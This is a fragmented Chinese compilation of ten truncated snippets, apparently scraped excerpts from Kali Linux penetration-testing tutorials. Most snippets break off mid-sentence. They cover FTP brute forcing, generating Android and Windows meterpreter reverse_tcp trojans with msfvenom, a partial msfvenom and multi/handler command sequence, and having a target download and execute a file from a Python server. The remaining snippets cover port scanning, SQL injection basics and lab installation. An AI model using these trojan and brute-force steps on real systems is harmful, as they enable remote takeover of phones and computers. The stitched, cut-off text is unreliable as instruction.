1、一资源准备 在进行渗透测试之前，需确保以下资源准备就绪1 安装好Kali Linux的虚拟机2 安装并配置FTP服务器3 准备一名学习者，准备好迎接挑战二实际操作 在收集到目标FTP服务的关键信息后，将利用Kali Linux执行FTP弱口令暴力破解攻击1 在Kali Linux虚拟机的命令行模式下，使用msf。
2、实验环境准备攻击机Kali Linux虚拟机中间机Windows 10，用于传输木马靶机Android手机工具Xshell4进行文件传输步骤一生成远程木马在Kali上，通过Metasploit的msfvenom工具，选择payload为androidmeterpreterreverse_tcp，指定目标为Kali的IP和端口步骤二木马传输通过Xshell4将生成的androidapk文件从。
3、2 渗透流程 首先，以管理员权限运行命令sudo su，确保权限充足 生成木马文件msfvenom p windowsmeterpreterreverse_tcp LHOST=你的Kali IP LPORT=你选择的端口 f exe o exe，将文件放到目标Win10系统 在msfconsole中配置use exploitmultihandler，set payload windowsmeterprete。
4、首先，你需要准备一个kali虚拟机作为攻击机，一个win10作为中间机，以及目标的Android手机作为靶机Xshell4将在这个过程中发挥关键作用，用于在kali和win10之间传输木马文件在kali上，使用msfvenom生成木马，选择androidmeterpreterreverse_tcp，指定目标为你的kali虚拟机地址和端口确认文件生成后，将木马。
5、首先，利用Kali系统的端口扫描工具可以进行全部TCP和UDP端口的扫描，以展示目标系统上可以访问的所有服务，从而展开后续的入侵破解工作Kali系统支持各种算法，如nmapunicornscanzmap，其算法可以快速有效地扫描网络，还可以有效地判断渗透测试平台中攻击者可以发起的脆弱点攻击性测试其次，Kali系统使用的是。
6、小白黑客无法在1天内完全掌握MSF渗透框架，但可以通过以下步骤快速入门进入MSF控制台图形化方式双击metasploit图标即可进入，成功后命令行将显示“msf6 ”终端命令方式在Kali终端中输入“msfconsole”即可进入如需查看版本信息，可输入“msfconsole v”熟悉MSF控制台命令补齐支持Tab键补齐。
7、c root桌面ssss 接下来使用python搭建简易服务器，操作靶机下载并执行文件，成功提权命令python m。
8、Kali渗透测试系统，Kali Linux是专门用于渗透测试的Linux操作系统，它由BackTrack发展而来Kali中集成了渗透测试所需的常用工具，是我们必须掌握的一项技能2接下来需要学习sql注入相关的一些内容sql注入当客户端提交的数据未作处理或转义直接带入数据库就造成了SQL注入，也就是用户提交了特定的字符。
9、首先先要安装虚拟机，打开安装包，下一步选择典型选择要安装到的目录，点下一步输入密钥，下一步密钥网上有很多我这边就例举一个，没用的话就自己找在kalilinux上部署dvwa这个渗透测试演练系统，与部署owaspmutillidae类似，首先安装xampp非常容易操作，就像和一只蚂蚁战斗那样简单，其次，把下载好的。
10、开启虚拟机选择第一个选项，回车域名可以空着用户名可以自定义默认使用了整个磁盘这里安装需要一段时间这里把最后一项选上，最后一项是把kali的全部渗透工具都安装了，喜欢KDE桌面的可以选择第四个，后续会出按转KDE的教程这里也需要等待一段漫长的时间 在这里插入图片描述选择是， 然后继续点继续就会重启。